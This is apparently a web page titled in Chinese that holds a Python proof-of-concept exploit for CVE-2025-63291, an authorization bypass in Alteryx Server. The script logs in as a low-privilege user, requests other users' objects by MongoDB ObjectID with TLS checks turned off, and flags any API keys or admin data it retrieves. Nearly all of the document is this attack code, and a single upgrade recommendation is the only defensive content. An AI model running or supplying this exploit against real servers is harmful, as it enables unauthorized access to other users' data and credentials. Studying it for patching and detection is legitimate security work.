CVE-2025-63291 Alteryx Server MongoDB对象ID授权绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-63291 PoC - Alteryx Server IDOR Vulnerability Description: Alteryx Server uses MongoDB Object IDs without proper authorization checks Author: Security Researcher Reference: https://www.cve.org/CVERecord?id=CVE-2025-63291 """ import requests import json import sys from datetime import datetime # Target Alteryx Server configuration TARGET_URL = "https://target-alteryx-server.com" API_ENDPOINT = f"{TARGET_URL}/api/v3/" # Authentication (low-privilege user credentials) AUTH_CREDENTIALS = { "username": "low_privilege_user", "password": "password123" } def generate_mongodb_object_id(): """ Generate a potential MongoDB Object ID MongoDB ObjectID format: 24 hex characters Structure: timestamp(8) + machine_id(6) + process_id(4) + counter(6) """ from bson import ObjectId return str(ObjectId()) def authenticate(): """ Authenticate with Alteryx Server and obtain session/token """ auth_url = f"{TARGET_URL}/api/v3/authentication/login" try: response = requests.post(auth_url, json=AUTH_CREDENTIALS, verify=False, timeout=30) if response.status_code == 200: data = response.json() return data.get('token', data.get('sessionId', '')) else: print(f"[-] Authentication failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def exploit_idor(token, object_id): """ Exploit IDOR vulnerability by accessing another user's object """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Try to access the specified MongoDB Object ID target_url = f"{API_ENDPOINT}objects/{object_id}" try: response = requests.get(target_url, headers=headers, verify=False, timeout=30) if response.status_code == 200: data = response.json() print(f"[+] SUCCESS! Retrieved data for Object ID: {object_id}") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for sensitive data if 'apiKey' in str(data) or 'admin' in str(data).lower(): print("[!] WARNING: Sensitive data (API keys) may have been exposed!") return True elif response.status_code == 403: print(f"[-] Access denied for Object ID: {object_id}") return False else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): print("=" * 60) print("CVE-2025-63291 PoC - Alteryx Server IDOR") print("=" * 60) # Step 1: Authenticate print("\n[Step 1] Authenticating with Alteryx Server...") token = authenticate() if not token: print("[-] Failed to obtain authentication token") sys.exit(1) print(f"[+] Obtained token: {token[:20]}...") # Step 2: Enumerate/Generate potential Object IDs print("\n[Step 2] Enumerating MongoDB Object IDs...") # Known Object IDs from the system (should be collected via reconnaissance) known_object_ids = [ "507f1f77bcf86cd799439011", # Example admin key Object ID "507f1f77bcf86cd799439012", # Example user data Object ID # Add discovered Object IDs here ] # Step 3: Exploit IDOR print("\n[Step 3] Exploiting IDOR vulnerability...") for obj_id in known_object_ids: print(f"[*] Testing Object ID: {obj_id}") exploit_idor(token, obj_id) print("\n[!] Note: This PoC requires valid Object IDs obtained through reconnaissance") print("[!] Recommendation: Upgrade Alteryx Server to latest version") if __name__ == "__main__": main()